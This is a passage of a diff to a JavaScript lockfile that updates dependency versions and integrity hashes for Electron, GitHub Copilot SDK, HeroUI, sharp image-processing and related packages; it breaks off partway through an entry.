{ "@simple-libs/child-process-utils": "^1.0.0", "@simple-libs/stream-utils": "^1.2.0", "semver": "^7.5.2" }, "peerDependencies": { "conventional-commits-filter": "^5.0.0", "conventional-commits-parser": "^6.3.0" }, "optionalPeers": ["conventional-commits-filter", "conventional-commits-parser"] }, "sha512-T+uPDciKf0/ioNNDpMGc8FDsehJClZP0yR3Q5MN6wE/Y/1QZ7F+80OgznnTCOlMEG4AV0LvH2UJi3C/nBnaBUg=="], + "@conventional-changelog/git-client": ["@conventional-changelog/git-client@3.2.0", "", { "dependencies": { "@simple-libs/child-process-utils": "^2.0.0", "@simple-libs/stream-utils": "^2.0.0", "verkit": "^0.5.0" }, "peerDependencies": { "conventional-commits-filter": "^6.0.1", "conventional-commits-parser": "^7.1.3" }, "optionalPeers": ["conventional-commits-filter", "conventional-commits-parser"] }, "sha512-sD/E0vzpkoDz/dqM1Hhv0ihC4KBw6RXjefeO8SG1XrX+wGkMxe1pKeedkKDPCtr2JjuhbuS9aJNgOvnT8hbeBw=="], + + "@conventional-changelog/template": ["@conventional-changelog/template@1.4.0", "", {}, "sha512-aalGyl7dbB5PArRebDIX43ZvBlXrYm9uWzGJ26t+4SzJVPsOuvfILGGbw5X4yX7i50YEmJ8zvbiWnqH/AAnZqg=="], "@develar/schema-utils": ["@develar/schema-utils@2.6.5", "", { "dependencies": { "ajv": "^6.12.0", "ajv-keywords": "^3.4.1" } }, "sha512-0cp4PsWQ/9avqTVMCtZ+GirikIA36ikvjtHweU4/j8yLtgObI0+JUPhYFScgwlteveGB1rt3Cm8UhN04XayDig=="], @@ -251,23 +275,25 @@ "@drizzle-team/brocli": ["@drizzle-team/brocli@0.10.2", "", {}, "sha512-z33Il7l5dKjUgGULTqBsQBQwckHh5AbIuxhdsIxDDiZAzBOrZO6q9ogcWC65kU382AfynTfgNumVcNIjuIua6w=="], + "@electron-internal/extract-zip": ["@electron-internal/extract-zip@1.0.5", "", {}, "sha512-+bqFCP98pLI0Tt0XQo1TmlXtwjWchISndDOxCkEcIuUgXWpBnLyRI+2DU+mesvnMMX6L1XDqYNA0lXNDHd/yiA=="], + "@electron/asar": ["@electron/asar@3.4.1", "", { "dependencies": { "commander": "^5.0.0", "glob": "^7.1.6", "minimatch": "^3.0.4" }, "bin": { "asar": "bin/asar.js" } }, "sha512-i4/rNPRS84t0vSRa2HorerGRXWyF4vThfHesw0dmcWHp+cspK743UanA0suA5Q5y8kzY2y6YKrvbIUn69BCAiA=="], "@electron/fuses": ["@electron/fuses@1.8.0", "", { "dependencies": { "chalk": "^4.1.1", "fs-extra": "^9.0.1", "minimist": "^1.2.5" }, "bin": { "electron-fuses": "dist/bin.js" } }, "sha512-zx0EIq78WlY/lBb1uXlziZmDZI4ubcCXIMJ4uGjXzZW0nS19TjSPeXPAjzzTmKQlJUZm0SbmZhPKP7tuQ1SsEw=="], - "@electron/get": ["@electron/get@2.0.3", "", { "dependencies": { "debug": "^4.1.1", "env-paths": "^2.2.0", "fs-extra": "^8.1.0", "got": "^11.8.5", "progress": "^2.0.3", "semver": "^6.2.0", "sumchecker": "^3.0.1" }, "optionalDependencies": { "global-agent": "^3.0.0" } }, "sha512-Qkzpg2s9GnVV2I2BjRksUi43U5e6+zaQMcjoJy0C+C5oxaKl+fmckGDQFtRpZpZV0NQekuZZ+tGz7EA9TVnQtQ=="], + "@electron/get": ["@electron/get@5.1.0", "", { "dependencies": { "debug": "^4.1.1", "env-paths": "^3.0.0", "graceful-fs": "^4.2.11", "progress": "^2.0.3", "semver": "^7.6.3", "sumchecker": "^3.0.1" }, "optionalDependencies": { "undici": "^7.24.4" } }, "sha512-3kSBtG8ObcTVfXanm5vVJ6UnBLEVmVsRk1M+vGqCuMBV+XLCbJYuWQful+yIy0GQDsSlK0kHEriEHn7SPk4EnA=="], "@electron/notarize": ["@electron/notarize@2.5.0", "", { "dependencies": { "debug": "^4.1.1", "fs-extra": "^9.0.1", "promise-retry": "^2.0.1" } }, "sha512-jNT8nwH1f9X5GEITXaQ8IF/KdskvIkOFfB2CvwumsveVidzpSc+mvhhTMdAGSYF3O+Nq49lJ7y+ssODRXu06+A=="], "@electron/osx-sign": ["@electron/osx-sign@1.3.3", "", { "dependencies": { "compare-version": "^0.1.2", "debug": "^4.3.4", "fs-extra": "^10.0.0", "isbinaryfile": "^4.0.8", "minimist": "^1.2.6", "plist": "^3.0.5" }, "bin": { "electron-osx-flat": "bin/electron-osx-flat.js", "electron-osx-sign": "bin/electron-osx-sign.js" } }, "sha512-KZ8mhXvWv2rIEgMbWZ4y33bDHyUKMXnx4M0sTyPNK/vcB81ImdeY9Ggdqy0SWbMDgmbqyQ+phgejh6V3R2QuSg=="], - "@electron/rebuild": ["@electron/rebuild@4.0.3", "", { "dependencies": { "@malept/cross-spawn-promise": "^2.0.0", "debug": "^4.1.1", "detect-libc": "^2.0.1", "got": "^11.7.0", "graceful-fs": "^4.2.11", "node-abi": "^4.2.0", "node-api-version": "^0.2.1", "node-gyp": "^11.2.0", "ora": "^5.1.0", "read-binary-file-arch": "^1.0.6", "semver": "^7.3.5", "tar": "^7.5.6", "yargs": "^17.0.1" }, "bin": { "electron-rebuild": "lib/cli.js" } }, "sha512-u9vpTHRMkOYCs/1FLiSVAFZ7FbjsXK+bQuzviJZa+lG7BHZl1nz52/IcGvwa3sk80/fc3llutBkbCq10Vh8WQA=="], + "@electron/rebuild": ["@electron/rebuild@4.2.1", "", { "dependencies": { "@malept/cross-spawn-promise": "^2.0.0", "debug": "^4.1.1", "node-abi": "^4.2.0", "node-api-version": "^0.2.1", "node-gyp": "^12.2.0", "read-binary-file-arch": "^1.0.6" }, "bin": { "electron-rebuild": "lib/cli.js" } }, "sha512-IS4pG3BysRrCLJ8xTAfvg+IQDbiUoAzdJy2SfjcYKnLDy5DpCdjnPdhS5Zf5UMfrkB24xu0KC+TqcOxg+eG+6w=="], "@electron/universal": ["@electron/universal@2.0.3", "", { "dependencies": { "@electron/asar": "^3.3.1", "@malept/cross-spawn-promise": "^2.0.0", "debug": "^4.3.1", "dir-compare": "^4.2.0", "fs-extra": "^11.1.1", "minimatch": "^9.0.3", "plist": "^3.1.0" } }, "sha512-Wn9sPYIVFRFl5HmwMJkARCCf7rqK/EurkfQ/rJZ14mHP3iYTjZSIOSVonEAnhWeAXwtw7zOekGRlc6yTtZ0t+g=="], "@electron/windows-sign": ["@electron/windows-sign@1.2.2", "", { "dependencies": { "cross-dirname": "^0.1.0", "debug": "^4.3.4", "fs-extra": "^11.1.1", "minimist": "^1.2.8", "postject": "^1.0.0-alpha.6" }, "bin": { "electron-windows-sign": "bin/electron-windows-sign.js" } }, "sha512-dfZeox66AvdPtb2lD8OsIIQh12Tp0GNCRUDfBHIKGpbmopZto2/A8nSpYYLoedPIHpqkeblZ/k8OV0Gy7PYuyQ=="], - "@emnapi/runtime": ["@emnapi/runtime@1.8.1", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-mehfKSMWjjNol8659Z8KxEMrdSJDDot5SXMq00dM8BN4o+CLNXQ0xH2V7EchNHV4RmbZLmmPdEaXZc5H2FXmDg=="], + "@emnapi/runtime": ["@emnapi/runtime@1.11.3", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-Xz4Tpyki7XyrpbUK1jR1AhdAdaXyhhY4lZ3neLodmhpuWfy2PAQN5B46sAiU4liOXGLkHypn/qU+jvfWSCYYLA=="], "@esbuild-kit/core-utils": ["@esbuild-kit/core-utils@3.3.2", "", { "dependencies": { "esbuild": "~0.18.20", "source-map-support": "^0.5.21" } }, "sha512-sPRAnw9CdSsRmEtnsl2WXWdyquogVpB3yZ3dgwJfe8zrOzTsV7cJvmwrKVa+0ma5BoiGJ+BoqkMvawbayKUsqQ=="], @@ -331,31 +357,23 @@ "@floating-ui/utils": ["@floating-ui/utils@0.2.11", "", {}, "sha512-RiB/yIh78pcIxl6lLMG0CgBXAZ2Y0eVHqMPYugu+9U0AeT6YBeiJpf7lbdJNIugFP5SIjwNRgo4DhR1Qxi26Gg=="], - "@formatjs/ecma402-abstract": ["@formatjs/ecma402-abstract@2.3.6", "", { "dependencies": { "@formatjs/fast-memoize": "2.2.7", "@formatjs/intl-localematcher": "0.6.2", "decimal.js": "^10.4.3", "tslib": "^2.8.0" } }, "sha512-HJnTFeRM2kVFVr5gr5kH1XP6K0JcJtE7Lzvtr3FS/so5f1kpsqqqxy5JF+FRaO6H2qmcMfAUIox7AJteieRtVw=="], - - "@formatjs/fast-memoize": ["@formatjs/fast-memoize@2.2.7", "", { "dependencies": { "tslib": "^2.8.0" } }, "sha512-Yabmi9nSvyOMrlSeGGWDiH7rf3a7sIwplbvo/dlz9WCIjzIQAfy1RMf4S0X3yG724n5Ghu2GmEl5NJIV6O9sZQ=="], - - "@formatjs/icu-messageformat-parser": ["@formatjs/icu-messageformat-parser@2.11.4", "", { "dependencies": { "@formatjs/ecma402-abstract": "2.3.6", "@formatjs/icu-skeleton-parser": "1.8.16", "tslib": "^2.8.0" } }, "sha512-7kR78cRrPNB4fjGFZg3Rmj5aah8rQj9KPzuLsmcSn4ipLXQvC04keycTI1F7kJYDwIXtT2+7IDEto842CfZBtw=="], + "@github/copilot-sdk": ["@github/copilot-sdk@1.0.16", "", { "dependencies": { "koffi": "3.2.1", "vscode-jsonrpc": "8.2.1", "zod": "4.3.6" }, "optionalDependencies": { "@github/copilot-sdk-darwin-arm64": "1.0.16", "@github/copilot-sdk-darwin-x64": "1.0.16", "@github/copilot-sdk-linux-arm64": "1.0.16", "@github/copilot-sdk-linux-x64": "1.0.16", "@github/copilot-sdk-linuxmusl-arm64": "1.0.16", "@github/copilot-sdk-linuxmusl-x64": "1.0.16", "@github/copilot-sdk-win32-arm64": "1.0.16", "@github/copilot-sdk-win32-x64": "1.0.16" } }, "sha512-m21UkMs8hkI6nRu2+EoP1kAGLJcEXFnNzAokEjwLcVmPojlO6fdLpfka1c1Nypxr39YZjyI3jHHAXwoe66SO2A=="], - "@formatjs/icu-skeleton-parser": ["@formatjs/icu-skeleton-parser@1.8.16", "", { "dependencies": { "@formatjs/ecma402-abstract": "2.3.6", "tslib": "^2.8.0" } }, "sha512-H13E9Xl+PxBd8D5/6TVUluSpxGNvFSlN/b3coUp0e0JpuWXXnQDiavIpY3NnvSp4xhEMoXyyBvVfdFX8jglOHQ=="], + "@github/copilot-sdk-darwin-arm64": ["@github/copilot-sdk-darwin-arm64@1.0.16", "", { "os": "darwin", "cpu": "arm64" }, "sha512-+ACscTN4OuSYDQL7/1yoi1FfDeI8qNlekip+dt2hvb9ZC4rz3YNVrhWkzrZsc7gX1ATD0YHGp71JDKqNAxHmBg=="], - "@formatjs/intl-localematcher": ["@formatjs/intl-localematcher@0.6.2", "", { "dependencies": { "tslib": "^2.8.0" } }, "sha512-XOMO2Hupl0wdd172Y06h6kLpBz6Dv+J4okPLl4LPtzbr8f66WbIoy4ev98EBuZ6ZK4h5ydTN6XneT4QVpD7cdA=="], + "@github/copilot-sdk-darwin-x64": ["@github/copilot-sdk-darwin-x64@1.0.16", "", { "os": "darwin", "cpu": "x64" }, "sha512-M+R5xi4hqSrzbf+ICloMfiotuDch7URzPwL+5I4q1gy1VlY1EqpD39HW9LbqqB68iOqMRnW3anE+kzb5PYxFjA=="], - "@github/copilot": ["@github/copilot@1.0.24", "", { "optionalDependencies": { "@github/copilot-darwin-arm64": "1.0.24", "@github/copilot-darwin-x64": "1.0.24", "@github/copilot-linux-arm64": "1.0.24", "@github/copilot-linux-x64": "1.0.24", "@github/copilot-win32-arm64": "1.0.24", "@github/copilot-win32-x64": "1.0.24" }, "bin": { "copilot": "npm-loader.js" } }, "sha512-/nZ2GwhaGq0HeI3W+6LE0JGw25/bipC6tYVa+oQ5tIvAafBazuNt10CXkeaor+u9oBWLZtPbdTyAzE2tjy9NpQ=="], + "@github/copilot-sdk-linux-arm64": ["@github/copilot-sdk-linux-arm64@1.0.16", "", { "os": "linux", "cpu": "arm64" }, "sha512-AjtL7pnhc0OajCO9NV963gwqFHiwIKIZEwpRd5tmGgB/Yc+Rr6QdRsc5ZMNe75ptagnVqViVqiTr9g/EnRspXw=="], - "@github/copilot-darwin-arm64": ["@github/copilot-darwin-arm64@1.0.24", "", { "os": "darwin", "cpu": "arm64", "bin": { "copilot-darwin-arm64": "copilot" } }, "sha512-lejn6KV+09rZEICX3nRx9a58DQFQ2kK3NJ3EICfVLngUCWIUmwn1BLezjeTQc9YNasHltA1hulvfsWqX+VjlMw=="], + "@github/copilot-sdk-linux-x64": ["@github/copilot-sdk-linux-x64@1.0.16", "", { "os": "linux", "cpu": "x64" }, "sha512-YLxPU1IdwH4cNvIJhawzyb6nMCbXB6ZfeebUs0kQEJbu6pzsMkyl1uSWCCv1vpAHPuhub1BgMokoY1kX9chElg=="], - "@github/copilot-darwin-x64": ["@github/copilot-darwin-x64@1.0.24", "", { "os": "darwin", "cpu": "x64", "bin": { "copilot-darwin-x64": "copilot" } }, "sha512-r2F3keTvr4Bunz3V+waRAvsHgqsVQGyIZFBebsNPWxBX1eh3IXgtBqxCR7vXTFyZonQ8VaiJH3YYEfAhyKsk9g=="], + "@github/copilot-sdk-linuxmusl-arm64": ["@github/copilot-sdk-linuxmusl-arm64@1.0.16", "", { "os": "linux", "cpu": "arm64" }, "sha512-hkHq6WSj5ug5JdDKrLxMbDyjp5wx6zbsn3swZcC6fy6lFSJMX2kCG7PivcOq1Uj7o/POiN/DhhJqvQxOGuX1IA=="], - "@github/copilot-linux-arm64": ["@github/copilot-linux-arm64@1.0.24", "", { "os": "linux", "cpu": "arm64", "bin": { "copilot-linux-arm64": "copilot" } }, "sha512-B3oANXKKKLhnKYozXa/W+DxfCQAHJCs0QKR5rBwNrwJbf656twNgALSxWTSJk+1rEP6MrHCswUAcwjwZL7Q+FQ=="], + "@github/copilot-sdk-linuxmusl-x64": ["@github/copilot-sdk-linuxmusl-x64@1.0.16", "", { "os": "linux", "cpu": "x64" }, "sha512-JWjzUi366WXGqdY9xIJvmJRTB+sCsW8qasVwLXj12X05GxYWMdfHK+7t8CiYTs2L1NKu1NiOYd5rS7D+ChSZyw=="], - "@github/copilot-linux-x64": ["@github/copilot-linux-x64@1.0.24", "", { "os": "linux", "cpu": "x64", "bin": { "copilot-linux-x64": "copilot" } }, "sha512-NGTldizY54B+4Sfhu/GWoEQNMwqqUNgMwbSgBshFv+Hqy1EwuvNWKVov1Y0Vzhp4qAHc6ZxBk/OPIW8Ato9FUg=="], + "@github/copilot-sdk-win32-arm64": ["@github/copilot-sdk-win32-arm64@1.0.16", "", { "os": "win32", "cpu": "arm64" }, "sha512-nQ//JXHfPfn4sfxtZ3rcLR993Mn8YQkC/RXHW9zu0W4Qtb1kyKec7XSi+VRMsKWPyzL7B7X+SHjTRSmn9AqZnQ=="], - "@github/copilot-sdk": ["@github/copilot-sdk@0.2.2", "", { "dependencies": { "@github/copilot": "^1.0.21", "vscode-jsonrpc": "^8.2.1", "zod": "^4.3.6" } }, "sha512-VZCqS08YlUM90bUKJ7VLeIxgTTEHtfXBo84T1IUMNvXRREX2csjPH6Z+CPw3S2468RcCLvzBXcc9LtJJTLIWFw=="], - - "@github/copilot-win32-arm64": ["@github/copilot-win32-arm64@1.0.24", "", { "os": "win32", "cpu": "arm64", "bin": { "copilot-win32-arm64": "copilot.exe" } }, "sha512-/pd/kgef7/HIIg1SQq4q8fext39pDSC44jHB10KkhfgG1WaDFhQbc/aSSMQfxeldkRbQh6VANp8WtGQdwtMCBA=="], - - "@github/copilot-win32-x64": ["@github/copilot-win32-x64@1.0.24", "", { "os": "win32", "cpu": "x64", "bin": { "copilot-win32-x64": "copilot.exe" } }, "sha512-RDvOiSvyEJwELqErwANJTrdRuMIHkwPE4QK7Le7WsmaSKxiuS4H1Pa8Yxnd2FWrMsCHEbase23GJlymbnGYLXQ=="], + "@github/copilot-sdk-win32-x64": ["@github/copilot-sdk-win32-x64@1.0.16", "", { "os": "win32", "cpu": "x64" }, "sha512-x9JyZks9NqmMNWkAI1wNcbvuPiMUUOvaU6tWq+nzp/TFdowW/kgaMX3jebnxeNUq/gqi2rPabRHp/cCMCma8eA=="], "@graphql-typed-document-node/core": ["@graphql-typed-document-node/core@3.2.0", "", { "peerDependencies": { "graphql": "^0.8.0 || ^0.9.0 || ^0.10.0 || ^0.11.0 || ^0.12.0 || ^0.13.0 || ^14.0.0 || ^15.0.0 || ^16.0.0 || ^17.0.0" } }, "sha512-mB9oAsNCm9aM3/SOv4YtBMqZbYj10R7dkq8byBqxGY/ncFwhf2oQzMV+LCRlWoDSEBJ3COiR1yeDvMtsoOsuFQ=="], @@ -371,15 +389,17 @@ "@hapi/topo": ["@hapi/topo@6.0.2", "", { "dependencies": { "@hapi/hoek": "^11.0.2" } }, "sha512-KR3rD5inZbGMrHmgPxsJ9dbi6zEK+C3ZwUwTa+eMwWLz7oijWUTWD2pMSNNYJAU6Qq+65NkxXjqHr/7LM2Xkqg=="], - "@heroui/react": ["@heroui/react@3.0.1", "", { "dependencies": { "@heroui/styles": "3.0.1", "@radix-ui/react-avatar": "1.1.11", "@react-aria/i18n": "3.12.16", "@react-aria/ssr": "3.9.10", "@react-aria/utils": "3.33.1", "@react-stately/utils": "3.11.0", "@react-types/color": "3.1.4", "@react-types/shared": "3.33.1", "input-otp": "1.4.2", "react-aria-components": "1.16.0", "tailwind-merge": "3.4.0", "tailwind-variants": "3.2.2" }, "peerDependencies": { "react": ">=19.0.0", "react-dom": ">=19.0.0", "tailwindcss": ">=4.0.0" } }, "sha512-Dx5oku2LPgK1+Uy1KIyVcfqgYTkVCXEII9OuwoKIJe7GW9Lf1xdHpSTwsdDZoNrUl8IvkDjav1ud92OGY/maRA=="], + "@heroui/react": ["@heroui/react@3.2.6", "", { "dependencies": { "@heroui/styles": "3.2.6", "@radix-ui/react-avatar": "1.2.6", "@react-stately/utils": "3.12.1", "@react-types/color": "3.2.0", "@react-types/shared": "3.36.1", "input-otp": "1.5.0", "tailwind-variants": "3.3.1" }, "peerDependencies": { "@internationalized/date": "^3.12.4", "@react-aria/ssr": "^3.10.1", "@react-aria/utils": "^3.34.1", "react": ">=19.0.0", "react-aria": "^3.52.1", "react-aria-components": "^1.21.1", "react-dom": ">=19.0.0", "tailwindcss": ">=4.0.0" } }, "sha512-KBhUUUdX4571SSjwpuBPEFZTYAw/tmGezTIsTnjIOlXDZkjWACfhFe6ibtReO+xTkUcfxCV1r3cF00/3OPlhhw=="], + + "@heroui/styles": ["@heroui/styles@3.2.6", "", { "dependencies": { "tailwind-variants": "3.3.1", "tw-animate-css": "1.4.0" }, "peerDependencies": { "tailwindcss": ">=4.0.0" } }, "sha512-feKZUphVe5+QCXnUe8kpqT5T+pPeMI3LaQcSztx08PGVTkhz0dU0C6crKvA1G4HHIPFXXon68VeL8lPjvGHsWg=="], - "@heroui/styles": ["@heroui/styles@3.0.1", "", { "dependencies": { "tailwind-variants": "3.2.2", "tw-animate-css": "1.4.0" }, "peerDependencies": { "tailwindcss": ">=4.0.0" } }, "sha512-ZGXz6nse8713f3uZMNapa8STkiyERgE7P5qOJlWTGnO8qHC+OHCB9TRJOdz1JR+daAhxu68pBO1qdWlzvud1cw=="], + "@hono/node-server": ["@hono/node-server@2.1.3", "", { "peerDependencies": { "hono": "^4" } }, "sha512-TA//nWMqPhbfdfneACk6t5a9eqbS9lABEPyKn0/xZTah3H3U2XaVg85rJFl0/Fyit0I552YDHgXGVSf3GwqbUw=="], - "@hookform/resolvers": ["@hookform/resolvers@5.2.2", "", { "dependencies": { "@standard-schema/utils": "^0.3.0" }, "peerDependencies": { "react-hook-form": "^7.55.0" } }, "sha512-A/IxlMLShx3KjV/HeTcTfaMxdwy690+L/ZADoeaTltLx+CVuzkeVIPuybK3jrRfw7YZnmdKsVVHAlEPIAEUNlA=="], + "@hookform/resolvers": ["@hookform/resolvers@5.9.1", "", { "dependencies": { "@standard-schema/utils": "^0.3.0" }, "peerDependencies": { "@sinclair/typebox": ">=0.25.24", "@standard-schema/spec": "^1.0.0", "@typeschema/main": ">=0.13.7", "@vinejs/vine": "^2.0.0 || ^3.0.0 || ^4.0.0", "ajv": "^8.12.0", "ajv-errors": "^3.0.0", "ajv-formats": "^2.1.1", "arktype": "^2.0.0", "ata-validator": "^1.2.0", "class-transformer": ">=0.4.0", "class-validator": ">=0.12.0", "computed-types": "^1.0.0", "effect": "^3.10.3", "fluentvalidation-ts": "^3.0.0", "fp-ts": "^2.7.0", "io-ts": "^2.0.0", "joi": "^17.0.0 || ^18.0.0", "nope-validator": ">=0.12.0", "react-hook-form": "^7.55.0", "superstruct": ">=0.12.0", "typanion": "^3.3.2", "valibot": ">=0.31.0 || ^1.0.0-beta.4 || ^1.0.0-rc", "vest": ">=6.0.0", "yup": "^1.0.0", "zod": "^3.25.0 || ^4.0.0" }, "optionalPeers": ["@sinclair/typebox", "@standard-schema/spec", "@typeschema/main", "@vinejs/vine", "ajv", "ajv-errors", "ajv-formats", "arktype", "ata-validator", "class-transformer", "class-validator", "computed-types", "effect", "fluentvalidation-ts", "fp-ts", "io-ts", "joi", "nope-validator", "superstruct", "typanion", "valibot", "vest", "yup", "zod"] }, "sha512-7b7vsbraJxKgjVSA1Nur9tLwj539WGJUBLA7QNvXnFoT2pM5Z7G+6rlukk4B2/QrTZy6huRtH6wKeESPKuIr6w=="], - "@hugeicons/core-free-icons": ["@hugeicons/core-free-icons@4.0.0", "", {}, "sha512-bzfbKumv3ke3ajbe2MyXi9i0I/cdsZ6n/mO9EfIPNSL++pHLqs7nSGRIVUtjF4xrrEyVkfhxssv4Jek8DPA6gA=="], + "@hugeicons/core-free-icons": ["@hugeicons/core-free-icons@4.3.5", "", {}, "sha512-Sv+NjHRPnQk+yZsGCMcGznCHdTfJR9PMMOEKcJYAQU4gy90dmlc9PwdtvYOImBZIjiheMsTLL5eMn2DmHxUiUg=="], - "@hugeicons/react": ["@hugeicons/react@1.1.5", "", { "peerDependencies": { "react": ">=16.0.0" } }, "sha512-JX/iDz3oO7hWdVqbjwFwRrAjHk8h2vI+mBkNzp4JcXG3t4idoupfjon73nLOA7cr27m0M8hrRC1Q2h6nEBGKVA=="], + "@hugeicons/react": ["@hugeicons/react@1.1.10", "", { "peerDependencies": { "react": ">=16.0.0" } }, "sha512-9tAsd92yMVVGP+E+d8cM+wc0VnXuYZHNbWQi7TOe8k2neawmhiaFmVFbzyruejhOMa197/LbgvSED32ayUo3ZA=="], "@iconify/react": ["@iconify/react@6.0.2", "", { "dependencies": { "@iconify/types": "^2.0.0" }, "peerDependencies": { "react": ">=16" } }, "sha512-SMmC2sactfpJD427WJEDN6PMyznTFMhByK9yLW0gOTtnjzzbsi/Ke/XqsumsavFPwNiXs8jSiYeZTmLCLwO+Fg=="], @@ -387,61 +407,63 @@ "@img/colour": ["@img/colour@1.1.0", "", {}, "sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ=="], - "@img/sharp-darwin-arm64": ["@img/sharp-darwin-arm64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-arm64": "1.2.4" }, "os": "darwin", "cpu": "arm64" }, "sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w=="], + "@img/sharp-darwin-arm64": ["@img/sharp-darwin-arm64@0.35.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-arm64": "1.3.4" }, "os": "darwin", "cpu": "arm64" }, "sha512-QRUlFQ0WxvdWyqqG/WtI3iupfD5rBzmCHXSdPsY91sAtVtTo7Q4cb6zOccZ3gqEqkr0f1As1ehLqmEpDsRf+lg=="], - "@img/sharp-darwin-x64": ["@img/sharp-darwin-x64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-x64": "1.2.4" }, "os": "darwin", "cpu": "x64" }, "sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw=="], + "@img/sharp-darwin-x64": ["@img/sharp-darwin-x64@0.35.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-x64": "1.3.4" }, "os": "darwin", "cpu": "x64" }, "sha512-+BR255RhDlpygUpOc/Jdt1nT6DQ3XG/ERo5wbcdOf5Q320dKtPCKPLR1LJs9VGXRaMa8l1uUa0tkCNOXiAxZUw=="], - "@img/sharp-libvips-darwin-arm64": ["@img/sharp-libvips-darwin-arm64@1.2.4", "", { "os": "darwin", "cpu": "arm64" }, "sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g=="], + "@img/sharp-freebsd-wasm32": ["@img/sharp-freebsd-wasm32@0.35.5", "", { "dependencies": { "@img/sharp-wasm32": "0.35.5" }, "os": "freebsd" }, "sha512-Y/z91nEZ4uIBX5X3nfTovjU9lHNKFYbL2lpHCLVNmXQK03VIZvXBBt0KxbPGp2SdGSF+2mQU4e+hQaWOt86iAw=="], - "@img/sharp-libvips-darwin-x64": ["@img/sharp-libvips-darwin-x64@1.2.4", "", { "os": "darwin", "cpu": "x64" }, "sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg=="], + "@img/sharp-libvips-darwin-arm64": ["@img/sharp-libvips-darwin-arm64@1.3.4", "", { "os": "darwin", "cpu": "arm64" }, "sha512-5R89nBYiRdUlSWJxPhO+GVtaXzXSxKnRu/xqMn3KTA3L9EB9Oy/P+Nn2f2vlhPuUdy/Zusb2DarbyTpGCfEDuw=="], - "@img/sharp-libvips-linux-arm": ["@img/sharp-libvips-linux-arm@1.2.4", "", { "os": "linux", "cpu": "arm" }, "sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A=="], + "@img/sharp-libvips-darwin-x64": ["@img/sharp-libvips-darwin-x64@1.3.4", "", { "os": "darwin", "cpu": "x64" }, "sha512-iR2OKH80yi0U+dUplyh3/xdpFvps6YkCwsXenIJxqxR1v9o+xtKTGbS9H7cps+2Vxjc8B1j96p75NmTGjIhtpQ=="], - "@img/sharp-libvips-linux-arm64": ["@img/sharp-libvips-linux-arm64@1.2.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw=="], + "@img/sharp-libvips-linux-arm": ["@img/sharp-libvips-linux-arm@1.3.4", "", { "os": "linux", "cpu": "arm" }, "sha512-LmRtTsOHuvM2+wlO2Db37dx5MiZhB0FvSunciw48YjdOkZz9KAiRbm8ujeMOA1INqmei5NapFxYEK1D1ZSidmw=="], - "@img/sharp-libvips-linux-ppc64": ["@img/sharp-libvips-linux-ppc64@1.2.4", "", { "os": "linux", "cpu": "ppc64" }, "sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA=="], + "@img/sharp-libvips-linux-arm64": ["@img/sharp-libvips-linux-arm64@1.3.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-Y3dgX/6lE2QhQb+Gxy0WZxfg9MEm/JBjamZpS2IklP7xIQoKN4hzAm7KcMVGtaVDt3neE9OKBC7vAfonA/Lr1A=="], - "@img/sharp-libvips-linux-riscv64": ["@img/sharp-libvips-linux-riscv64@1.2.4", "", { "os": "linux", "cpu": "none" }, "sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA=="], + "@img/sharp-libvips-linux-ppc64": ["@img/sharp-libvips-linux-ppc64@1.3.4", "", { "os": "linux", "cpu": "ppc64" }, "sha512-Le6boB8Tai0Nis+gIxIpKx68UDVVIqdR8Tin5Yf1z2LJJQLDJvCDRqRu+jC2qCoD+eIomonmOwB4smBRxfVpYQ=="], - "@img/sharp-libvips-linux-s390x": ["@img/sharp-libvips-linux-s390x@1.2.4", "", { "os": "linux", "cpu": "s390x" }, "sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ=="], + "@img/sharp-libvips-linux-riscv64": ["@img/sharp-libvips-linux-riscv64@1.3.4", "", { "os": "linux", "cpu": "none" }, "sha512-aHkkIEHPRdQEegJN20MLmGtxYD9R2wQr3Cwpddnu5+YKMt6Uzax7S9h5gpZTo8wyrGuZSlfQ63OevL5mTyOC7Q=="], - "@img/sharp-libvips-linux-x64": ["@img/sharp-libvips-linux-x64@1.2.4", "", { "os": "linux", "cpu": "x64" }, "sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw=="], + "@img/sharp-libvips-linux-s390x": ["@img/sharp-libvips-linux-s390x@1.3.4", "", { "os": "linux", "cpu": "s390x" }, "sha512-ra/mB6MikESDUO7Yg+Mi95bFBb9GsObURuhnOv3OqknjGe9sZrG8tCe9q0xSIGrtLgvgw0gKnFWcK4blSgQOuQ=="], - "@img/sharp-libvips-linuxmusl-arm64": ["@img/sharp-libvips-linuxmusl-arm64@1.2.4", "", { 